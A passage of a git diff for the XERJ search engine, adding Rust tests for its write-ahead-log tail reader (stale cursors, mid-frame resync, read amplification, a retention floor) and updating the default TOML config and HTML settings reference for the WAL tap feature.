mut w = make_writer(dir.path());+ w.append(&doc("recreated")).unwrap();+ drop(w);++ let len = std::fs::metadata(wal_path(dir.path(), 0)).unwrap().len();+ let stale = WalTailCursor {+ generation: 0,+ offset: len + 4_096,+ drained: false,+ };+ let tail = tail_shard(dir.path(), Some(stale), 100);+ assert_eq!(+ doc_ids(&tail),+ vec!["+recreated"],+ "the recreated stream must be read from the start, not skipped"+ );+ assert!(tail.gap, "and the discontinuity must be reported");+ }++ /// The other half of the same failure: the stale offset lands INSIDE the+ /// new file but not on a frame boundary.+ ///+ /// The active generation refuses to resync, so pre-fix this wedged the+ /// shard forever — no entries, no gap, no error, and the file kept+ /// growing underneath it. A half-written frame is by construction the last+ /// thing in the file, so a valid frame existing *after* the bad bytes+ /// proves these are not a partial tail.+ #[test]+ fn a_cursor_landing_mid_frame_in_the_active_generation_resyncs_instead_of_wedging() {+ let dir = tempfile::tempdir().unwrap();+ let mut w = make_writer(dir.path());+ for i in 0..6 {+ w.append(&doc(&format!("d{i}"))).unwrap();+ }+ drop(w);++ // A few bytes past the header is mid-first-frame: not a boundary.+ let stale = WalTailCursor {+ generation: 0,+ offset: WAL_HEADER_LEN + 7,+ drained: false,+ };+ let tail = tail_shard(dir.path(), Some(stale), 100);+ assert!(+ !tail.entries.is_empty(),+ "the reader must resync forward rather than hold a boundary that is not one"+ );+ assert!(+ tail.corrupt_skipped > 0,+ "and the resync must be counted, not silent"+ );+ assert!(+ tail.cursor.offset > stale.offset,+ "the cursor has to move, or the next poll repeats this forever"+ );+ }++ /// Reading the tail must cost the bytes appended since the last poll, not+ /// the size of the file.+ ///+ /// The pre-fix reader did `fs::read(path)` on every poll and seeked inside+ /// the resulting `Vec`: fully caught up, it still allocated and copied the+ /// whole active generation just to find EOF. At 16 shards and a 500 ms+ /// interval that is ~60x read amplification of the node's live ingest+ /// volume per flush window, per shard.+ ///+ /// Asserted structurally — a caught-up poll never materialises a buffer+ /// the size of the file — by making the file large and the poll a no-op.+ #[test]+ fn a_caught_up_poll_does_not_read_the_whole_generation() {+ let dir = tempfile::tempdir().unwrap();+ let mut w = make_writer(dir.path());+ // WAL payloads are LZ4-compressed, so a run of one character would+ // produce a tiny file and prove nothing. Generate incompressible hex.+ let mut lcg: u64 = 0x2545_F491_4F6C_DD1D;+ let mut noise = || {+ let mut s = String::with_capacity(8192);+ for _ in 0..1024 {+ lcg = lcg.wrapping_mul(6_364_136_223_846_793_005).wrapping_add(1);+ s.push_str(&format!("{:016x}", lcg));+ }+ s+ };+ for i in 0..256 {+ w.append(&WalEntry::Index {+ doc_id: format!("d{i}"),+ source: serde_json::json!({ "v": noise() }),+ })+ .unwrap();+ }+ drop(w);++ let caught_up = tail_shard(dir.path(), None, 10_000);+ assert_eq!(caught_up.entries.len(), 256);+ let len = std::fs::metadata(wal_path(dir.path(), 0)).unwrap().len();+ assert!(len > 512 * 1024, "the file must be big enough to matter");++ // The window the caught-up poll opens: cursor is at EOF, so it reads+ // the 16-byte header and stops. `WalWindow` is what proves it — it+ // never buffers more than one frame plus a chunk.+ let mut win = WalWindow::open(&wal_path(dir.path(), 0)).unwrap();+ win.seek_to(caught_up.cursor.offset);+ assert!(!win.fill(1), "there is nothing left to read at EOF");+ assert!(+ win.buf.len() < WAL_TAIL_READ_CHUNK,+ "a caught-up poll buffered {} bytes of a {len}-byte file",+ win.buf.len()+ );++ // And it is still correct: a poll after new appends reads only those.+ let mut w = make_writer(dir.path());+ w.append(&doc("late")).unwrap();+ drop(w);+ let after = tail_shard(dir.path(), Some(caught_up.cursor), 10_000);+ assert_eq!(doc_ids(&after), vec!["+late"]);+ }++ /// A rotated generation still resyncs past a corrupt region, exactly as+ /// full replay does — the windowed reader must not have quietly changed+ /// that.+ #[test]+ fn a_rotated_generation_still_resyncs_past_corruption() {+ let dir = tempfile::tempdir().unwrap();+ let mut w = make_writer(dir.path());+ w.append(&doc("a")).unwrap();+ w.append(&doc("b")).unwrap();+ let good = std::fs::read(wal_path(dir.path(), 0)).unwrap();+ w.rotate().unwrap();+ w.append(&doc("c")).unwrap();+ drop(w);++ // Corrupt the middle of the now-frozen generation 0.+ let mut damaged = good.clone();+ let mid = WAL_HEADER_LEN as usize + 4;+ damaged[mid] ^= 0xFF;+ std::fs::write(wal_path(dir.path(), 0), &damaged).unwrap();++ let tail = tail_shard(dir.path(), None, 100);+ assert!(+ tail.corrupt_skipped > 0,+ "damage in a frozen generation must be counted"+ );+ assert!(+ doc_ids(&tail).contains(&"+c".to_string()),+ "and the reader must get past it to the live generation: {:?}",+ doc_ids(&tail)+ );+ }++ /// The retention floor (#320): `prune_verified` keeps the newest N rotated+ /// generations even when it can prove every entry in them durable, so a+ /// WAL consumer that is briefly behind still finds them.+ ///+ /// Bounded by construction — it is a floor, not a lease, so it holds N+ /// files whether the consumer is one second or one week behind.+ #[test]+ fn a_retention_floor_holds_the_newest_rotated_generations() {+ fn build(dir: &Path) -> WalWriter {+ let mut w = make_writer(dir);+ for gen in 0..4 {+ w.append(&doc(&format!("g{gen}"))).unwrap();+ w.rotate().unwrap();+ }+ w.append(&doc("active")).unwrap();+ w+ }++ // Floor 0 (the default): everything provable is pruned.+ let bare = tempfile::tempdir().unwrap();+ let w = build(bare.path());+ assert_eq!(w.rotated_generations().unwrap().len(), 4);+ assert_eq!(w.prune_verified(&|_, _| true).unwrap(), 4);+ assert!(w.rotated_generations().unwrap().is_empty());++ // Floor 2: the two newest rotated generations survive.+ let floored = tempfile::tempdir().unwrap();+ let mut w = build(floored.path());+ w.set_min_retained_generations(2);+ assert_eq!(w.prune_verified(&|_, _| true).unwrap(), 2);+ assert_eq!(+ w.rotated_generations().unwrap(),+ vec![2, 3],+ "the floor must keep the NEWEST generations — the oldest are the ones a \+ consumer has already passed"+ );+ // And it is a floor, not a lease: pruning again holds the same two,+ // however far behind any consumer is.+ assert_eq!(w.prune_verified(&|_, _| true).unwrap(), 0);+ assert_eq!(w.rotated_generations().unwrap(), vec![2, 3]);+ }+/// Both WAL layouts are discovered: legacy `*.wal` in the root, and the/// sharded `s0`/`s1`/… subdirectories.#[test]diff --git a/engine/xerj.default.toml b/engine/xerj.default.tomlindex 8107c63f9..c113d6777 100644--- a/engine/xerj.default.toml+++ b/engine/xerj.default.toml@@ -1,6 +1,6 @@# xerj Default Configuration# ============================================================-# This file sets 54 of XERJ's 114 user-facing settings to their+# This file sets 54 of XERJ's 115 user-facing settings to their# production-ready defaults, and describes the rest in comments.# Every value here IS the default, so copying this file changes# nothing until you edit it (a test enforces that). The complete@@ -503,7 +503,7 @@ format = "text"access_log = false# ── WAL tap: push a filtered subset of indices to an external target ──────────-# (9 settings, issue #320)+# (10 settings, issue #320)## One-directional, single-node, near-real-time push of selected indices to any# ES-compatible cluster (Elasticsearch, OpenSearch, or another XERJ node). The@@ -522,19 +522,29 @@ access_log = false# are durable in a segment, whether or not the tap has shipped them — a slow# remote must not be able to fill this node's disk. A tap that falls that far# behind loses entries and reports `gaps` in GET /_xerj/wal_tap/_stats.+# `min_retained_generations` buys BOUNDED slack (a floor, not a lease): at+# the default 0, an outage longer than one flush interval loses data.## System indices (every .xerj* name, not just .xerj-memory-*) are never# shipped, whatever `indices` says.+#+# `target_url` must NOT carry credentials (https://user:pass@host is refused at+# startup): it is echoed by GET /_xerj/wal_tap, by _stats and in the log.+# `target_auth` is the credential field and is write-only.+## Everything here is also settable at runtime, without a restart, via-# PUT /_xerj/wal_tap.+# PUT /_xerj/wal_tap — which persists the patch, so it survives a restart.+# DELETE /_xerj/wal_tap drops the runtime overlay and reverts to this file.+# All three endpoints are superuser-only.## [wal_tap]-# enabled = true # not a default (false)-# target_url = "https://central:9200" # not a default ("")-# target_auth = "ApiKey abc123" # not a default ("")-# indices = ["edge-*", "metrics"] # not a default ([])-# poll_interval_ms = 500-# max_batch_docs = 1000-# max_batch_bytes = 5242880-# request_timeout_secs = 30-# max_retry_backoff_secs = 60+# enabled = true # not a default (false)+# target_url = "https://central:9200" # not a default ("")+# target_auth = "ApiKey abc123" # not a default ("")+# indices = ["edge-*", "metrics"] # not a default ([])+# poll_interval_ms = 500+# max_batch_docs = 1000+# max_batch_bytes = 5242880+# request_timeout_secs = 30+# max_retry_backoff_secs = 60+# min_retained_generations = 0diff --git a/landing/docs/config.html b/landing/docs/config.htmlindex dfe564276..b6043304e 100644--- a/landing/docs/config.html+++ b/landing/docs/config.html@@ -124,7 +124,7 @@<p>Paths for the config are, in precedence order: <code class="inline">--config /path/to/xerj.toml</code> on the command line, then <code class="inline">/etc/xerj/xerj.toml</code>, then <code class="inline">./xerj.toml</code> in the working directory. If none exist, the full default is used.</p><h2>Full key table</h2>- <div class="cfg"><div class="head">KEY</div><div class="head">TYPE</div><div class="head">DEFAULT</div><div class="head">DESCRIPTION</div><div class="group" id="server">[server]</div><div class="cell k">rest_port</div><div class="cell t">u16</div><div class="cell d">8080</div><div class="cell dsc">Native REST API listener port. All native endpoints (/v1/*) live here.</div><div class="cell k">grpc_port</div><div class="cell t">u16</div><div class="cell d">8081</div><div class="cell dsc">Reserved for a future gRPC API. Not wired in v0.1 — leave at default.</div><div class="cell k">es_compat_port</div><div class="cell t">u16</div><div class="cell d">9200</div><div class="cell dsc">Elasticsearch-compatible wire port. Point Kibana, Logstash, or the ES client here. Set to 0 to disable.</div><div class="cell k">bind_address</div><div class="cell t">string</div><div class="cell d">"127.0.0.1"</div><div class="cell dsc">Interface to bind every listener to. Loopback by default, so an unconfigured node is unreachable from the network. Set "0.0.0.0" or a private address to expose it (also --bind / XERJ_BIND_ADDRESS). Must be an IPv4 or IPv6 literal — host names are not resolved, and a node given one refuses to start.</div><div class="cell k">allow_insecure_network_bind</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Permit a non-loopback bind_address while tls.enabled = false. Startup refuses that combination otherwise: every listener would serve plain HTTP, so the API key in every Authorization header crosses the network in cleartext. Set true only when a proxy, sidecar, mesh or container boundary terminates TLS in front of the node. Env: XERJ_ALLOW_INSECURE_NETWORK_BIND.</div><div class="cell k">data_dir</div><div class="cell t">path</div><div class="cell d">"./data"</div><div class="cell dsc">Root for indices, WAL files, and segments. Needs fast I/O and enough free space.</div><div class="group" id="auth">[auth]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">true</div><div class="cell dsc">Require an API key on every request. Set to false only on a trusted network.</div><div class="cell k">admin_api_key</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Static admin key. Left empty, a 256-bit key is generated on first run and written to <data_dir>/admin.key.</div><div class="group" id="tls">[tls]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Terminate TLS at the server. Requires cert_path + key_path. If you terminate at a proxy, leave false.</div><div class="cell k">cert_path</div><div class="cell t">path</div><div class="cell d">""</div><div class="cell dsc">PEM X.509 certificate. Use a CA-signed cert in production.</div><div class="cell k">key_path</div><div class="cell t">path</div><div class="cell d">""</div><div class="cell dsc">PEM private key. Permissions should be 0600.</div><div class="group" id="storage">[storage]</div><div class="cell k">wal_sync</div><div class="cell t">enum</div><div class="cell d">"batched"</div><div class="cell dsc">"sync" · "batched" · "async". Durability vs throughput. Batched is the recommended default.</div><div class="cell k">wal_batch_ms</div><div class="cell t">u32</div><div class="cell d">100</div><div class="cell dsc">Fsync cadence when wal_sync="batched" (ms). Range 1–10000. Lower = smaller loss window.</div><div class="cell k">wal_max_size_mb</div><div class="cell t">u32</div><div class="cell d">1024</div><div class="cell dsc">WAL rollover threshold (MiB). Larger means fewer rollovers, longer crash recovery.</div><div class="cell k">flush_size_mb</div><div class="cell t">u32</div><div class="cell d">512</div><div class="cell dsc">Memtable buffer size that triggers a segment flush (MiB).</div><div class="cell k">flush_interval_secs</div><div class="cell t">u32</div><div class="cell d">30</div><div class="cell dsc">Maximum wall-clock interval between flushes even if the buffer is not full.</div><div class="group" id="merge">[merge]</div><div class="cell k">strategy</div><div class="cell t">enum</div><div class="cell d">"size_tiered"</div><div class="cell dsc">Only "size_tiered" is implemented; "log_structured" is refused at startup rather than silently running the other policy.</div><div class="cell k">min_segments</div><div class="cell t">u32</div><div class="cell d">10</div><div class="cell dsc">Accepted and validated (must be ≥ 2) but <strong>not wired</strong>: the merge trigger is per-tier and comes from min_merge_count. Setting it away from the default logs a warning at startup.</div><div class="cell k">max_segment_mb</div><div class="cell t">u32</div><div class="cell d">8192</div><div class="cell dsc">Upper bound on a mergeable segment (MiB). Segments at or above this size are never merged again.</div><div class="cell k">io_rate_mb_per_sec</div><div class="cell t">u32</div><div class="cell d">100</div><div class="cell dsc">Accepted but <strong>not wired</strong>: merge I/O is not throttled in this build — the rate limiter that honours it sits in an unused storage-crate merge executor. Setting it away from the default logs a warning at startup.</div><div class="cell k">max_concurrent</div><div class="cell t">u8</div><div class="cell d">1</div><div class="cell dsc">Accepted but <strong>not wired</strong>: merge parallelism comes from the XERJ_MERGE_PARALLELISM environment variable, which also defaults to 1. Setting it away from the default logs a warning at startup.</div><div class="group" id="compression">[compression]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">true</div><div class="cell dsc">Accepted but <strong>not wired</strong>: every durable artifact is a compressed envelope with no uncompressed write path, so false changes nothing on disk. Setting it away from the default logs a warning at startup.</div><div class="cell k">level</div><div class="cell t">enum</div><div class="cell d">"balanced"</div><div class="cell dsc">"fast" (Zstd L1), "balanced" (Zstd L3, default), "best" (Zstd L6, cold storage). Applied when segments are re-encoded <strong>at merge</strong>; flush always writes L3, because raising the flush level collapses sustained ingest. Force-merge to apply a change to data already on disk.</div><div class="cell k">block_size_docs</div><div class="cell t">u32</div><div class="cell d">128</div><div class="cell dsc">Accepted but <strong>not wired</strong>: the stored codec is columnar over the whole segment section, not blocked by document count. Range 16–4096 is enforced at startup, and a non-default value logs a warning.</div><div class="group" id="fts">[fts]</div><div class="cell k">default_analyzer</div><div class="cell t">enum</div><div class="cell d">"standard"</div><div class="cell dsc">"standard" · "whitespace" · "simple" · "english". Override per-field in the mapping.</div><div class="group" id="vector">[vector]</div><div class="cell k">default_metric</div><div class="cell t">enum</div><div class="cell d">"cosine"</div><div class="cell dsc">"cosine" · "dot_product" · "euclidean". Cosine for text embeddings is the usual choice.</div><div class="cell k">hnsw_m</div><div class="cell t">u32</div><div class="cell d">16</div><div class="cell dsc">Accepted and validated; the built-in HNSW graph currently builds with fixed M=16 — this key is not yet wired to the build.</div><div class="cell k">hnsw_ef_construction</div><div class="cell t">u32</div><div class="cell d">200</div><div class="cell dsc">Accepted; must be ≥ hnsw_m. The graph currently builds with fixed ef_construction=200 — this key is not yet wired to the build.</div><div class="cell k">hnsw_ef_search</div><div class="cell t">u32</div><div class="cell d">100</div><div class="cell dsc">Accepted but not read by the serving path — the ANN beam width comes from the request's num_candidates (floored at 800).</div><div class="cell k">default_quantization</div><div class="cell t">enum</div><div class="cell d">"none"</div><div class="cell dsc">"none" (the default) or "scalar8" = 4× RAM saving, 1–2% recall loss. "binary" has no quantizer behind it and is refused at startup rather than silently stored at full precision; "scalar4" is not a value this key accepts at all (the 4-bit quantizer in the vector crate is unreachable from config or mapping).</div><div class="cell k">max_dimensions</div><div class="cell t">u32</div><div class="cell d">16384</div><div class="cell dsc">Upper bound on vector dimensionality. 4× the Elasticsearch limit of 4096.</div><div class="group" id="logs">[logs]</div><div class="cell k">retention_days</div><div class="cell t">u32</div><div class="cell d">90</div><div class="cell dsc">Auto-delete log docs older than N days. 0 disables.</div><div class="cell k">time_partition</div><div class="cell t">enum</div><div class="cell d">"1h"</div><div class="cell dsc">"1m" · "5m" · "15m" · "1h" · "6h" · "1d". Time-slice granularity for retention pruning.</div><div class="group" id="embedding">[embedding]</div><div class="cell k">default_endpoint</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">OpenAI-compatible embeddings URL. Empty disables auto-embedding on ingest. Example: "https://api.openai.com/v1/embeddings".</div><div class="cell k">default_model</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Model name passed to the endpoint. Example: "text-embedding-3-small" or "nomic-embed-text".</div><div class="cell k">batch_size</div><div class="cell t">u32</div><div class="cell d">64</div><div class="cell dsc">Docs per embedding API call. Range 1–2048. Bigger batches amortise round-trip cost.</div><div class="cell k">timeout_ms</div><div class="cell t">u32</div><div class="cell d">5000</div><div class="cell dsc">HTTP timeout for embedding calls (ms). Ingest fails with a timeout error if exceeded.</div><div class="group" id="limits">[limits]</div><div class="cell k">max_query_memory_mb</div><div class="cell t">u32</div><div class="cell d">512</div><div class="cell dsc">Per-query memory cap (MiB). Queries that exceed it are cancelled.</div><div class="cell k">max_concurrent_searches</div><div class="cell t">u32</div><div class="cell d">64</div><div class="cell dsc">Global in-flight search ceiling. Extras are queued.</div><div class="cell k">max_fields_per_index</div><div class="cell t">u32</div><div class="cell d">500</div><div class="cell dsc">Field-explosion protection. ES default is 1000; 500 is intentionally stricter.</div><div class="group" id="indexing">[indexing]</div><div class="cell k">turbo_batch_size</div><div class="cell t">u32</div><div class="cell d">1000</div><div class="cell dsc">Docs per batch in turbo mode. Range 500–5000. Larger = higher throughput, slightly higher latency.</div><div class="cell k">turbo_parallel</div><div class="cell t">bool</div><div class="cell d">true</div><div class="cell dsc">Parallel tokenisation on Rayon threads. Disable only for debugging.</div><div class="cell k">turbo_fast_analyzer</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Skip stemming and stop-word removal in turbo mode. Trades recall for speed.</div><div class="group" id="cluster">[cluster]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Enable multi-node cluster mode. When true, the Raft state machine and cluster transport are started on port.</div><div class="cell k">port</div><div class="cell t">u16</div><div class="cell d">9300</div><div class="cell dsc">TCP port for intra-cluster Raft and search messages. Must be reachable from every peer.</div><div class="cell k">peers</div><div class="cell t">array</div><div class="cell d">[]</div><div class="cell dsc">Peer list in "node_id=host:port" format. The local node identifies itself from the entry matching bind_address:port. Example: ["a=10.0.0.1:9300","b=10.0.0.2:9300","c=10.0.0.3:9300"].</div><div class="cell k">tick_ms</div><div class="cell t">u64</div><div class="cell d">50</div><div class="cell dsc">Raft tick interval (ms). Lower = faster leader election at the cost of CPU.</div><div class="cell k">auth_secret</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Cluster-wide shared secret authenticating every control frame on port (HMAC-SHA256 over a per-connection challenge). Mandatory when enabled = true — with cluster mode on and no secret here or in XERJ_CLUSTER_AUTH_SECRET the node refuses to start. Same value on every node; minimum 16 chars; generate with `openssl rand -hex 32`. Authenticates, does not encrypt.</div><div class="group" id="wal_tap">[wal_tap]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Push a filtered subset of indices to an external ES-compatible target (Elasticsearch, OpenSearch, or another XERJ node) in near-real-time. One-directional and single-node — this is not cross-cluster replication. Off by default.</div><div class="cell k">target_url</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Base URL of the target cluster; the tap POSTs to {target_url}/_bulk. Example: "https://central:9200". Empty disables the tap even with enabled = true.</div><div class="cell k">target_auth</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Verbatim Authorization header for the target, e.g. "ApiKey abc123". Write-only: GET /_xerj/wal_tap reports whether one is set, never its value.</div><div class="cell k">indices</div><div class="cell t">array</div><div class="cell d">[]</div><div class="cell dsc">Index allowlist, glob patterns. Empty ships nothing; ["edge-*","metrics"] ships those. A wildcard never expands to a hidden index, and XERJ's own .xerj* system indices are never shipped whatever this says.</div><div class="cell k">poll_interval_ms</div><div class="cell t">u64</div><div class="cell d">500</div><div class="cell dsc">How often each allowlisted index's WAL is polled (ms). Range 50–60000. This is the floor on end-to-end latency; the tap adds nothing to the write path.</div><div class="cell k">max_batch_docs</div><div class="cell t">usize</div><div class="cell d">1000</div><div class="cell dsc">Maximum WAL entries read and shipped per poll, per index.</div><div class="cell k">max_batch_bytes</div><div class="cell t">usize</div><div class="cell d">5242880</div><div class="cell dsc">Maximum _bulk body size (bytes). Bounds one HTTP request against the target's http.max_content_length — a larger batch is split across requests, never truncated.</div><div class="cell k">request_timeout_secs</div><div class="cell t">u64</div><div class="cell d">30</div><div class="cell dsc">Per-request timeout against the target. A timed-out batch is retried; the cursor does not advance, so nothing is dropped.</div><div class="cell k">max_retry_backoff_secs</div><div class="cell t">u64</div><div class="cell d">60</div><div class="cell dsc">Ceiling on the exponential, jittered retry backoff when the target is down. WAL retention never waits for the target, so a tap that falls far enough behind loses entries and reports them as gaps in GET /_xerj/wal_tap/_stats.</div></div>+ <div class="cfg"><div class="head">KEY</div><div class="head">TYPE</div><div class="head">DEFAULT</div><div class="head">DESCRIPTION</div><div class="group" id="server">[server]</div><div class="cell k">rest_port</div><div class="cell t">u16</div><div class="cell d">8080</div><div class="cell dsc">Native REST API listener port. All native endpoints (/v1/*) live here.</div><div class="cell k">grpc_port</div><div class="cell t">u16</div><div class="cell d">8081</div><div class="cell dsc">Reserved for a future gRPC API. Not wired in v0.1 — leave at default.</div><div class="cell k">es_compat_port</div><div class="cell t">u16</div><div class="cell d">9200</div><div class="cell dsc">Elasticsearch-compatible wire port. Point Kibana, Logstash, or the ES client here. Set to 0 to disable.</div><div class="cell k">bind_address</div><div class="cell t">string</div><div class="cell d">"127.0.0.1"</div><div class="cell dsc">Interface to bind every listener to. Loopback by default, so an unconfigured node is unreachable from the network. Set "0.0.0.0" or a private address to expose it (also --bind / XERJ_BIND_ADDRESS). Must be an IPv4 or IPv6 literal — host names are not resolved, and a node given one refuses to start.</div><div class="cell k">allow_insecure_network_bind</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Permit a non-loopback bind_address while tls.enabled = false. Startup refuses that combination otherwise: every listener would serve plain HTTP, so the API key in every Authorization header crosses the network in cleartext. Set true only when a proxy, sidecar, mesh or container boundary terminates TLS in front of the node. Env: XERJ_ALLOW_INSECURE_NETWORK_BIND.</div><div class="cell k">data_dir</div><div class="cell t">path</div><div class="cell d">"./data"</div><div class="cell dsc">Root for indices, WAL files, and segments. Needs fast I/O and enough free space.</div><div class="group" id="auth">[auth]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">true</div><div class="cell dsc">Require an API key on every request. Set to false only on a trusted network.</div><div class="cell k">admin_api_key</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Static admin key. Left empty, a 256-bit key is generated on first run and written to <data_dir>/admin.key.</div><div class="group" id="tls">[tls]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Terminate TLS at the server. Requires cert_path + key_path. If you terminate at a proxy, leave false.</div><div class="cell k">cert_path</div><div class="cell t">path</div><div class="cell d">""</div><div class="cell dsc">PEM X.509 certificate. Use a CA-signed cert in production.</div><div class="cell k">key_path</div><div class="cell t">path</div><div class="cell d">""</div><div class="cell dsc">PEM private key. Permissions should be 0600.</div><div class="group" id="storage">[storage]</div><div class="cell k">wal_sync</div><div class="cell t">enum</div><div class="cell d">"batched"</div><div class="cell dsc">"sync" · "batched" · "async". Durability vs throughput. Batched is the recommended default.</div><div class="cell k">wal_batch_ms</div><div class="cell t">u32</div><div class="cell d">100</div><div class="cell dsc">Fsync cadence when wal_sync="batched" (ms). Range 1–10000. Lower = smaller loss window.</div><div class="cell k">wal_max_size_mb</div><div class="cell t">u32</div><div class="cell d">1024</div><div class="cell dsc">WAL rollover threshold (MiB). Larger means fewer rollovers, longer crash recovery.</div><div class="cell k">flush_size_mb</div><div class="cell t">u32</div><div class="cell d">512</div><div class="cell dsc">Memtable buffer size that triggers a segment flush (MiB).</div><div class="cell k">flush_interval_secs</div><div class="cell t">u32</div><div class="cell d">30</div><div class="cell dsc">Maximum wall-clock interval between flushes even if the buffer is not full.</div><div class="group" id="merge">[merge]</div><div class="cell k">strategy</div><div class="cell t">enum</div><div class="cell d">"size_tiered"</div><div class="cell dsc">Only "size_tiered" is implemented; "log_structured" is refused at startup rather than silently running the other policy.</div><div class="cell k">min_segments</div><div class="cell t">u32</div><div class="cell d">10</div><div class="cell dsc">Accepted and validated (must be ≥ 2) but <strong>not wired</strong>: the merge trigger is per-tier and comes from min_merge_count. Setting it away from the default logs a warning at startup.</div><div class="cell k">max_segment_mb</div><div class="cell t">u32</div><div class="cell d">8192</div><div class="cell dsc">Upper bound on a mergeable segment (MiB). Segments at or above this size are never merged again.</div><div class="cell k">io_rate_mb_per_sec</div><div class="cell t">u32</div><div class="cell d">100</div><div class="cell dsc">Accepted but <strong>not wired</strong>: merge I/O is not throttled in this build — the rate limiter that honours it sits in an unused storage-crate merge executor. Setting it away from the default logs a warning at startup.</div><div class="cell k">max_concurrent</div><div class="cell t">u8</div><div class="cell d">1</div><div class="cell dsc">Accepted but <strong>not wired</strong>: merge parallelism comes from the XERJ_MERGE_PARALLELISM environment variable, which also defaults to 1. Setting it away from the default logs a warning at startup.</div><div class="group" id="compression">[compression]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">true</div><div class="cell dsc">Accepted but <strong>not wired</strong>: every durable artifact is a compressed envelope with no uncompressed write path, so false changes nothing on disk. Setting it away from the default logs a warning at startup.</div><div class="cell k">level</div><div class="cell t">enum</div><div class="cell d">"balanced"</div><div class="cell dsc">"fast" (Zstd L1), "balanced" (Zstd L3, default), "best" (Zstd L6, cold storage). Applied when segments are re-encoded <strong>at merge</strong>; flush always writes L3, because raising the flush level collapses sustained ingest. Force-merge to apply a change to data already on disk.</div><div class="cell k">block_size_docs</div><div class="cell t">u32</div><div class="cell d">128</div><div class="cell dsc">Accepted but <strong>not wired</strong>: the stored codec is columnar over the whole segment section, not blocked by document count. Range 16–4096 is enforced at startup, and a non-default value logs a warning.</div><div class="group" id="fts">[fts]</div><div class="cell k">default_analyzer</div><div class="cell t">enum</div><div class="cell d">"standard"</div><div class="cell dsc">"standard" · "whitespace" · "simple" · "english". Override per-field in the mapping.</div><div class="group" id="vector">[vector]</div><div class="cell k">default_metric</div><div class="cell t">enum</div><div class="cell d">"cosine"</div><div class="cell dsc">"cosine" · "dot_product" · "euclidean". Cosine for text embeddings is the usual choice.</div><div class="cell k">hnsw_m</div><div class="cell t">u32</div><div class="cell d">16</div><div class="cell dsc">Accepted and validated; the built-in HNSW graph currently builds with fixed M=16 — this key is not yet wired to the build.</div><div class="cell k">hnsw_ef_construction</div><div class="cell t">u32</div><div class="cell d">200</div><div class="cell dsc">Accepted; must be ≥ hnsw_m. The graph currently builds with fixed ef_construction=200 — this key is not yet wired to the build.</div><div class="cell k">hnsw_ef_search</div><div class="cell t">u32</div><div class="cell d">100</div><div class="cell dsc">Accepted but not read by the serving path — the ANN beam width comes from the request's num_candidates (floored at 800).</div><div class="cell k">default_quantization</div><div class="cell t">enum</div><div class="cell d">"none"</div><div class="cell dsc">"none" (the default) or "scalar8" = 4× RAM saving, 1–2% recall loss. "binary" has no quantizer behind it and is refused at startup rather than silently stored at full precision; "scalar4" is not a value this key accepts at all (the 4-bit quantizer in the vector crate is unreachable from config or mapping).</div><div class="cell k">max_dimensions</div><div class="cell t">u32</div><div class="cell d">16384</div><div class="cell dsc">Upper bound on vector dimensionality. 4× the Elasticsearch limit of 4096.</div><div class="group" id="logs">[logs]</div><div class="cell k">retention_days</div><div class="cell t">u32</div><div class="cell d">90</div><div class="cell dsc">Auto-delete log docs older than N days. 0 disables.</div><div class="cell k">time_partition</div><div class="cell t">enum</div><div class="cell d">"1h"</div><div class="cell dsc">"1m" · "5m" · "15m" · "1h" · "6h" · "1d". Time-slice granularity for retention pruning.</div><div class="group" id="embedding">[embedding]</div><div class="cell k">default_endpoint</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">OpenAI-compatible embeddings URL. Empty disables auto-embedding on ingest. Example: "https://api.openai.com/v1/embeddings".</div><div class="cell k">default_model</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Model name passed to the endpoint. Example: "text-embedding-3-small" or "nomic-embed-text".</div><div class="cell k">batch_size</div><div class="cell t">u32</div><div class="cell d">64</div><div class="cell dsc">Docs per embedding API call. Range 1–2048. Bigger batches amortise round-trip cost.</div><div class="cell k">timeout_ms</div><div class="cell t">u32</div><div class="cell d">5000</div><div class="cell dsc">HTTP timeout for embedding calls (ms). Ingest fails with a timeout error if exceeded.</div><div class="group" id="limits">[limits]</div><div class="cell k">max_query_memory_mb</div><div class="cell t">u32</div><div class="cell d">512</div><div class="cell dsc">Per-query memory cap (MiB). Queries that exceed it are cancelled.</div><div class="cell k">max_concurrent_searches</div><div class="cell t">u32</div><div class="cell d">64</div><div class="cell dsc">Global in-flight search ceiling. Extras are queued.</div><div class="cell k">max_fields_per_index</div><div class="cell t">u32</div><div class="cell d">500</div><div class="cell dsc">Field-explosion protection. ES default is 1000; 500 is intentionally stricter.</div><div class="group" id="indexing">[indexing]</div><div class="cell k">turbo_batch_size</div><div class="cell t">u32</div><div class="cell d">1000</div><div class="cell dsc">Docs per batch in turbo mode. Range 500–5000. Larger = higher throughput, slightly higher latency.</div><div class="cell k">turbo_parallel</div><div class="cell t">bool</div><div class="cell d">true</div><div class="cell dsc">Parallel tokenisation on Rayon threads. Disable only for debugging.</div><div class="cell k">turbo_fast_analyzer</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Skip stemming and stop-word removal in turbo mode. Trades recall for speed.</div><div class="group" id="cluster">[cluster]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Enable multi-node cluster mode. When true, the Raft state machine and cluster transport are started on port.</div><div class="cell k">port</div><div class="cell t">u16</div><div class="cell d">9300</div><div class="cell dsc">TCP port for intra-cluster Raft and search messages. Must be 